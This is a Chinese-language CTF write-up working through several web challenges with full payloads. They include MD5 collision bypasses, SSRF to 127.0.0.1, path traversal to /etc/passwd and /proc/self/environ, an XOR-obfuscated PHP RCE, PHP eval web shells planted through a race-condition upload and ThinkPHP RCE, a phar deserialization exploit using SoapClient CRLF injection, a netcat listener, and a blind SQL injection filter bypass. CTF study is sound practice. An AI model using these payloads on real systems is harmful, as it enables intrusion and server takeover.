ezezssrf
第一关:md5弱比较
yunxi%5B%5D=1&wlgf%5B%5D=2
第二关: md5强比较
需要在bp中传参,在hackbar里不行
yunxii=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DC
V%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%
93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
wlgff=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV
%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%9
3%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
第三关:ssrf
GLG=http://blog.csdn.net@127.0.0.1
第四关:无回显命令执行
运用tee命令或者>写入文件
cmd=cat /flag | tee 1.txt
完整payload:
yunxi%5B%5D=1&wlgf%5B%5D=2&yunxii=M%C9h%FF%0E%E3%5C%20%95r%D4w%7B
r%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00
%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&wlgff=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&GLG=http://blog.csdn.net@127.0.0.1&cmd=cat /flag | tee 1.txt
小小py
点击图片能够下载,用bp抓包
发现图片的下载路径
尝试利用这个路径查看文件,发现不能直接回显
尝试用目录穿越查看一下/etc/passwd发现成功回显
接着查看当前进程运行的环境变量/proc/self/environ,发现flag
学习高数
用dirsearch等工具扫描没发现注入点
根据提示
访问发现是原页面,用bp抓包进行页面爆破
发现一个不同的页面
访问cvFXZohgjf.php
限制了payload长度并且禁用一堆符号
原payload:
?c=$pi=_GET;$pi=$$pi;$pi[0]($pi[1])&0=system&1=cat /flag
这里我们可以利用异或得到更多的字符构造
用脚本利用白名单里的函数生成可用字符
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){for($i = 0;$i < 9; $i++){for($j = 0;$j <=9;$j++){$exp = $payload[$k] ^ $i.$j;echo($payload[$k]."^$i$j"."==>$exp");echo "\n";}}
}
将得到的结果放入记事本搜索需要构造的字符
$pi=_GET->$pi=(is_nan^(6).(4)).(tan^(1).(5))
$$pi->$_GET
由于[]被禁用所以可以用{}
完整payload:
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag
payload得到flag(这里的flag环境有问题)
你能跟上我的speed吗
随便上传文件后发现都只是一张图片
根据题目的speed可以猜测一下可能是条件竞争
上传文件写入一句话木马:
<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[cmd]);?>');fclose($op);echo(333) ?>
抓包上传文件的请求并发送到intruder
抓包访问上传文件的路径
两处的payload type都设为null payloads,payload setting选择Continue indefinitely(无限循环抓包)
两边同时爆破,在文件上传路径页面爆到显示333页面停止
发送到repeater,更改1.php为shell.php,访问成功
用蚁剑连接
找到flag
文件上传
参考:SUCTF2019 upload-lab2
题目给了源码首先代码审计
首先找获得flag的点
//admin.php
需要触发__wakeup()魔术方法,触发__wakeup()需要触发反序列化
//class.php
在getMIME方法中可以发现一个finfo_file可用于触发phar的反序列化
补:finfo_file
/finfo_buffer
/mime_content_type
均通过
_php_finfo_get_type
间接调用了关键函数php_stream_open_wrapper_ex
,导致均可以使用phar://
触发 phar 反序列化//func.php
func.php接受一个url参数,参数经过一个正则,会去你上传的目录找你上传的文件,获取MIME返回。
在func.php的源码中可以发现$file->getMIME();所以只需要我们上传phar文件后func.php会找到上传文件触发getMIME触发phar的反序列化
从而触发admin.php里的命令执行,接着就需要实例化Ad类
//admin.php
可以发现Ad类的实例化$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
但是要实例化Ad类,必须是127.0.0.1访问,所以需要用ssrf构造
//class.php
在class.php的__wakeup()方法下可以发现利用点
通过反射初始化了一个类并调用了admin.php里的
check
方法//admin.php
这段代码的主要作用是通过反射机制来实现动态调用类的方法,可以用于灵活地处理不同的类和方法调用。
补:使用SoapClient反序列化+CRLF可以生成任意POST请求。
Deserialization + SoapClient + CRLF = SSRF
Deserialization(反序列化):在PHP中,
$_SESSION
数据在存储时会被序列化和反序列化。如果PHP在反序列化存储的$_SESSION
数据时使用的处理器和序列化时使用的处理器不同,这可能导致数据无法正确反序列化,通过特殊的伪造,甚至可以伪造任意数据。SoapClient:SoapClient是PHP的一个内置类,用于发送SOAP请求。通过特定的方法调用,可以触发SoapClient的
__call
魔术方法,进而利用SoapClient发送HTTP请求。这为利用SoapClient进行SSRF攻击提供了可能。CRLF Injection:CRLF注入漏洞允许攻击者在HTTP响应头中注入换行符,进而控制HTTP响应的内容。在HTTP协议中,HTTP响应头与HTTP响应体通过CRLF(回车符和换行符)分隔。通过控制这些字符,攻击者可以注入会话Cookie或HTML代码,实现HTTP响应分割(HTTP Response Splitting,HRS)攻击。
参考文章:
https://zhuanlan.zhihu.com/p/80918004所以如果我们利用class.php的__wakeup()将类名改为
SoapClient
,调用check
方法时就会去调用__call
方法,实现SSRF
总结该题的主要知识点:phar反序列化 、ssrf(SoapClient反序列化+CRLF漏洞)
exp:
<?php
$phar = new Phar('a.phar');
$phar->startBuffering(); //开始写入内容
$phar->addFromString('a.txt', 'text'); //添加要一起加入phar归档的文件(文件名+内容)
$phar->setStub('GIF89a'.' __HALT_COMPILER();'); //设置stub 绕过<?php检测
//$phar->setStub('<script language="php">__HALT_COMPILER();</script>');class File
{public $file_name = ""; //file_name为一个数组public $func = "SoapClient"; //将类名改为SoapClientfunction __construct(){$target = "http://127.0.0.1/admin.php"; //构造127.0.0.1$post_string = 'admin=1&ip=your_ip&port=7777&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=' . "\r\n"; //构造HTTP POST请求的主体内容$headers = []; //定义一个空数组$this->file_name = [null,array('location' => $target,'user_agent' => str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^' . join('^^', $headers) . 'Content-Length: ' . (string)strlen($post_string) . '^^^^' . $post_string),'uri' => 'hello')]; //将 HTTP 请求的参数和头部信息构建成一个数组;CRLF漏洞的注入}
}$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object); //序列化内容,这里内部相当于调用了serialize函数
$phar->stopBuffering(); //停止写入,签名自动计算
'location' => $target, 'user_agent' => 'xxxxx\r\nContent-Type: application/x-www-form-urlencoded\r\n' . join('\r\n', headers).′Content−Length:′.(string)strlen(headers).′Content−Length:′.(string)strlen(post_string) . '\r\n\r\n' . $post_string), 'uri' => 'hello
然后在func.php页面访问上传文件,由于不能直接用phar://,所以可以用php://filter来绕过
php://filter/resource=phar://upload/13c70ceb0ed6069bbd54be4d3fa363dc/394659692a460258b45a99f1424ea357.jpg
提交前在自己的服务器打开监听端口(这里设置的是7777)
nc -lvvp 7777
提交后即可在服务器看到flag,由于这题题目有问题所以最后监听不到flag
真正的hacker!
进入是一个thinkphp搭建的页面
用ThinkphpGUI扫描
发现存在5.0.23版本的rce漏洞
根据页面提供的payload可以得到flag1
可以发现flag1给了一个提示“命令执行只能得到flag1,真正的渗透大师热衷于getshell”,说明flag2需要getshell后才能得到。
选择版本后发现不能直接getshell
尝试一下反弹shell发现也不行,所以这里我们只能利用命令执行木马得到flag
查看当前路径
ls查看上传路径
故需要将木马文件上传至/var/www/public/uploads/
构造一句话木马
echo "PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==" | base64 -d > /var/www/public/uploads/shell.php
(如果木马写入错了用rm uploads/shell.php删除文件后重新生成写入)
用蚁剑连接
找到flag
sssssssssssssssssssql
看见一个登入界面尝试一下用户:admin 密码:123456
发现登入失败,尝试一下sql注入
用户:admin’ or 1=1--+ 密码:123456
发现返回非法字符说明存在sql注入但是有字符被禁用了
用sql过滤字典看看过滤的字符有哪些
可以发现--+、=、union、sleep、/**/、like、空格、where、format、for、information_schema.tables等字符都被禁用了
根据没被禁用的字符构造payload
a'or(1<>2)#
(1<>2):这是一个条件表达式,表示 1 不等于 2,这个条件总是为真。
#:--+
发现成功注入
由于a'用户为假而(1<>2)判定为真用or连接所以返回为真,如果是(1<>1)为假返回也是假
所以可以判断出这题是一个布尔盲注